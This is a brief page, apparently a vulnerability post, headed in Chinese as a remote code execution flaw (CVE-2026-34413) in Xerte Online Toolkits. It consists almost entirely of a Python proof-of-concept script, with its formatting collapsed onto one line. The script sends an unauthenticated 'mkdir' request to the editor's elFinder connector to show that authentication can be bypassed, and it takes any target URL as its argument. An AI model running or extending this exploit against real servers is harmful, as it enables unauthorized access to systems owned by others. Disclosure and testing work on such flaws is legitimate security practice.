CVE-2026-34413 Xerte Online Toolkits远程代码执行漏洞

#!/usr/bin/env python3 import requests def exploit(target_url): # The vulnerable endpoint url = f"{target_url}/editor/elfinder/php/connector.php" # Payload to create a directory (demonstrating bypass) data = { "cmd": "mkdir", "name": "test_exploit_dir", "target": "l1_Lw" # Base64 encoded path usually representing root } try: print(f"[+] Sending request to {url}...") response = requests.post(url, data=data, timeout=10) if response.status_code == 200 and "test_exploit_dir" in response.text: print("[+] Exploit successful! Authentication bypassed and directory created.") else: print("[-] Exploit failed or target not vulnerable.") print(response.text[:200]) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") else: exploit(sys.argv[1])